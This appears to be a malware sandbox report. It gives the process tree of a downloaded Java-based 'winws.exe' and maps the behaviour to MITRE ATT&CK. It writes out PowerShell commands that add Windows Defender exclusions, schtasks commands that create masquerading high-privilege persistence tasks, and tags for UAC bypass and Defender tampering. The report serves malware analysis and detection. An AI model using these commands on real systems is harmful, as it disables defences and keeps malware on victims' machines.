  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff9a8e43cb8,0x7ff9a8e43cc8,0x7ff9a8e43cd8
  2⤵
  PID:2376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1864 /prefetch:2
  2⤵
  PID:1356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2504 /prefetch:8
  2⤵
  PID:1940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:4932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
  2⤵
  PID:3716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:1
  2⤵
  PID:2112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5620 /prefetch:8
  2⤵
  PID:1920
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5912 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4636 /prefetch:1
  2⤵
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5392 /prefetch:1
  2⤵
  PID:4980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
  2⤵
  PID:2136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1
  2⤵
  PID:2516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3868 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4644 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:1560
- C:\Users\Admin\Downloads\winws.exe
  "C:\Users\Admin\Downloads\winws.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:576
- - C:\Program Files\Java\jre-1.8\bin\javaw.exe
    "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\Downloads\winws.exe"
    3⤵
    - Drops startup file
    - Suspicious use of SetWindowsHookEx
    PID:4340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4872
  - - C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform\WinHelper32.exe
      C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform\WinHelper32.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of SetWindowsHookEx
      PID:3776
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows\Defender\yjJlDaeiCtZ3rPY3voT8EfypAtNWVOHqwTO.vbe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2964
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows\Defender\zHxvwMPtXsd9EflNyF6bR38DTMh313hvK806W5p8W9mTT85g.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2576
        
        C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows/Defender/RunShell.exe"
        7⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:848
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1xwp4lxu\1xwp4lxu.cmdline"
        8⤵
        Drops file in System32 directory
        
        PID:968
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD7CD.tmp" "c:\Windows\System32\CSCAFE86041B48049A2AD46C45A28484B1D.TMP"
        9⤵
        
        PID:2888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\StartMenuExperienceHost.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\wscript.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\blockComAgentdll\msedge.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\StartMenuExperienceHost.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\RM3bvOfJXa.bat"
        8⤵
        
        PID:3172
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:1064
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:4968
        
        C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe
        
        "C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1832
    - - C:\Users\Admin\AppData\Roaming\Windows\Defender\xdwd.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows\Defender\xdwd.exe"
        5⤵
        Modifies Windows Defender Real-time Protection settings
        UAC bypass
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Hijack Execution Flow: Executable Installer File Permissions Weakness
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:2164
      - C:\Windows\SysWOW64\WindowsInput.exe
        
        "C:\Windows\SysWOW64\WindowsInput.exe" --install
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:4288
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4736
      - C:\Users\Admin\AppData\Roaming\Windows\Helper\WinHelper32.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows\Helper\WinHelper32.exe"
        6⤵
        Modifies Windows Defender Real-time Protection settings
        UAC bypass
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Hijack Execution Flow: Executable Installer File Permissions Weakness
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        System policy modification
        
        PID:3972
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
        
        C:\Users\Admin\AppData\Roaming\WinHelperWatchdog.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHelperWatchdog.exe" /launchSelfAndExit "C:\Users\Admin\AppData\Roaming\Windows\Helper\WinHelper32.exe" 3972 /protectFile
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1280
        
        C:\Users\Admin\AppData\Roaming\WinHelperWatchdog.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHelperWatchdog.exe" /watchProcess "C:\Users\Admin\AppData\Roaming\Windows\Helper\WinHelper32.exe" 3972 "/protectFile"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1736
    - - C:\Users\Admin\AppData\Roaming\Windows\Defender\Boostrapper.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows\Defender\Boostrapper.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of SetWindowsHookEx
        
        PID:3412
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockComAgentdll\l2A594olLEJWUEUfw4GfnauDbYxQl.vbe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:792
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\blockComAgentdll\Q5HIcCBrM4kJ2gRS.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5040
        
        C:\blockComAgentdll\hypercommonSvc.exe
        
        "C:\blockComAgentdll/hypercommonSvc.exe"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\kvAdD40QhI.bat"
        9⤵
        
        PID:3176
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        10⤵
        
        PID:3364
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3776
        
        C:\Windows\Migration\WTR\msedge.exe
        
        "C:\Windows\Migration\WTR\msedge.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1852,14198194376935239734,6307159841698945962,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3876 /prefetch:2
  2⤵
  PID:3408

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:848

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2032

C:\Windows\SysWOW64\WindowsInput.exe
"C:\Windows\SysWOW64\WindowsInput.exe"
1⤵
- Executes dropped EXE
PID:1944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Program Files\Uninstall Information\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Uninstall Information\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\wscript.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 9 /tr "'C:\blockComAgentdll\msedge.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\blockComAgentdll\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 6 /tr "'C:\blockComAgentdll\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Users\Default User\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShell" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RunShellR" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2452

C:\Users\Admin\AppData\Roaming\Windows\Helper\WinHelper32.exe
C:\Users\Admin\AppData\Roaming\Windows\Helper\WinHelper32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry